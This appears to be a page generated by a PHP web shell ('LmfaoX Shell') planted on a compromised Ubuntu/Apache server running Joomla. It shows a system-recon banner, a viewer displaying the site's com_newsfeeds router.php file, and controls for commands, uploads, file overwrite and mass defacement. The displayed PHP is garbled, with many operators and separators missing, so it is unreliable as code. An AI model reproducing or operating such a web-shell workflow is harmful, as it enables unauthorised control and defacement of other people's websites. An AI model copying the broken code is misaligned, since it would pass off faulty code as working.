ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:27.16 GB of 70.42 GB (38.57%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ guitar.1/ components/ com_newsfeeds/ - drwxr-xr-x

Directory:
Viewing file:     router.php (4.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package        Joomla.Site
 * @copyright    Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 */

 /* Newsfeeds Component Route Helper
 *
 * @package        Joomla.Site
 * @subpackage    com_newsfeeds
 * @since 1.6
 */

defined('_JEXEC') or die;

jimport('joomla.application.categories');

/**
 * Build the route for the com_newsfeeds component
 *
 * @param    array    An array of URL arguments
 *
 * @return    array    The URL arguments to use to assemble the subsequent URL.
 */
function NewsfeedsBuildRoute(&$query)
{
    
$segments = array();

    
// get a menu item based on Itemid or currently active
    
$app    JFactory::getApplication();
    
$menu    $app->getMenu();
    
$params JComponentHelper::getParams('com_newsfeeds');
    
$advanced $params->get('sef_advanced_link'0);

    if (empty(
$query['Itemid'])) {
        
$menuItem $menu->getActive();
    }
    else {
        
$menuItem $menu->getItem($query['Itemid']);
    }
    
$mView    = (empty($menuItem->query['view'])) ? null $menuItem->query['view'];
    
$mCatid    = (empty($menuItem->query['catid'])) ? null $menuItem->query['catid'];
    
$mId    = (empty($menuItem->query['id'])) ? null $menuItem->query['id'];

    if (isset(
$query['view']))
    {
        
$view $query['view'];
        if (empty(
$query['Itemid'])) {
            
$segments[] = $query['view'];
        }
        unset(
$query['view']);
    };

    
// are we dealing with an newsfeed that is attached to a menu item?
    
if (isset($query['view']) && ($mView == $query['view']) and (isset($query['id'])) and ($mId == intval($query['id']))) {
        unset(
$query['view']);
        unset(
$query['catid']);
        unset(
$query['id']);
        return 
$segments;
    }

    if (isset(
$view) and ($view == 'category' or $view == 'newsfeed')) {
        if (
$mId != intval($query['id']) || $mView != $view) {
            if(
$view == 'newsfeed' && isset($query['catid']))
            {
                
$catid $query['catid'];
            } elseif(isset(
$query['id'])) {
                
$catid $query['id'];
            }
            
$menuCatid $mId;
            
$categories JCategories::getInstance('Newsfeeds');
            
$category $categories->get($catid);
            if (
$category) {
                
$path $category->getPath();
                
$path array_reverse($path);

                
$array = array();
                foreach(
$path as $id)
                {
                    if((int) 
$id == (int)$menuCatid)
                    {
                        break;
                    }
                    if(
$advanced)
                    {
                        list(
$tmp$id) = explode(':'$id2);
                    }
                    
$array[] = $id;
                }
                
$segments array_merge($segmentsarray_reverse($array));
            }
            if(
$view == 'newsfeed')
            {
                if(
$advanced)
                {
                    list(
$tmp$id) = explode(':'$query['id'], 2);
                } else {
                    
$id $query['id'];
                }
                
$segments[] = $id;
            }
        }
        unset(
$query['id']);
        unset(
$query['catid']);
    }

    if (isset(
$query['layout']))
    {
        if (!empty(
$query['Itemid']) && isset($menuItem->query['layout']))
        {
            if (
$query['layout'] == $menuItem->query['layout']) {

                unset(
$query['layout']);
            }
        }
        else
        {
            if (
$query['layout'] == 'default') {
                unset(
$query['layout']);
            }
        }
    };

    return 
$segments;
}
/**
 * Parse the segments of a URL.
 *
 * @param    array    The segments of the URL to parse.
 *
 * @return    array    The URL attributes to be used by the application.
 */
function NewsfeedsParseRoute($segments)
{
    
$vars = array();

    
//Get the active menu item.
    
$app    JFactory::getApplication();
    
$menu    $app->getMenu();
    
$item    $menu->getActive();
    
$params JComponentHelper::getParams('com_newsfeeds');
    
$advanced $params->get('sef_advanced_link'0);

    
// Count route segments
    
$count count($segments);

    
// Standard routing for newsfeeds.
    
if (!isset($item))
    {
        
$vars['view']    = $segments[0];
        
$vars['id']        = $segments[$count 1];
        return 
$vars;
    }

    
// From the categories view, we can only jump to a category.
    
$id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root';
    
$categories JCategories::getInstance('Newsfeeds')->get($id)->getChildren();
    
$vars['catid'] = $id;
    
$vars['id'] = $id;
    
$found 0;
    foreach(
$segments as $segment)
    {
        
$segment $advanced str_replace(':''-'$segment) : $segment;
        foreach(
$categories as $category)
        {
            if (
$category->slug == $segment || $category->alias == $segment)
            {
                
$vars['id'] = $category->id;
                
$vars['catid'] = $category->id;
                
$vars['view'] = 'category';
                
$categories $category->getChildren();
                
$found 1;
                break;
            }
        }
        if (
$found == 0)
        {
            if(
$advanced)
            {
                
$db JFactory::getDBO();
                
$query 'SELECT id FROM #__newsfeeds WHERE catid = '.$vars['catid'].' AND alias = '.$db->Quote($segment);
                
$db->setQuery($query);
                
$nid $db->loadResult();
            } else {
                
$nid $segment;
            }
            
$vars['id'] = $nid;
            
$vars['view'] = 'newsfeed';
        }
        
$found 0;
    }

    return 
$vars;
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1895 seconds